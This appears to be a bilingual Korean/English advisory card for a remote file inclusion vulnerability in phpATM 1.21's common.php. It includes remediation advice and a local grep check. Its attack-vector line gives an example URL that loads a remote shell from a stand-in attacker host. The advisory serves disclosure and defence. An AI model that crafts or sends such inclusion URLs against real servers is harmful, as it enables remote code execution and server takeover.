🇰🇷 한글 설명
phpATM 1.21 이전 버전의 common.php에 존재하는 PHP 원격 파일 포함(RFI) 취약점으로, index.php의 include_location 파라미터를 통해 공격자가 원격 서버의 악의적인 파일을 실행할 수 있습니다. 이는 전체 서버에 대한 완전한 제어권을 획득할 수 있는 심각한 취약점입니다.
💡 쉬운 설명
공격자가 웹사이트 주소 뒤에 악의적인 파일 링크를 붙여서 그 파일을 실행하게 할 수 있습니다. 성공하면 공격자가 웹서버 전체를 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in common.php in phpATM 1.21, and possibly earlier versions, allows remote attackers to execute arbitrary PHP code via a URL in the include_location parameter to index.php.
📍 영향받는 시스템
phpATM 1.21 and earlier versions
⚔️ 공격 벡터
Crafted URL with malicious remote file path in include_location parameter: http://target/index.php?include_location=http://attacker.com/shell.php
🛡️ 대응 방법
Upgrade phpATM to a patched version or apply strict input validation and whitelist allowed include locations
🔧 검증 코드
phpATM common.php 파일이 발견되면 현재 시스템에 해당 애플리케이션이 설치된 것이며, 버전 확인 후 1.21 이하인 경우 취약합니다.
find / -name common.php 2>/dev/null | xargs grep -l include_location 2>/dev/null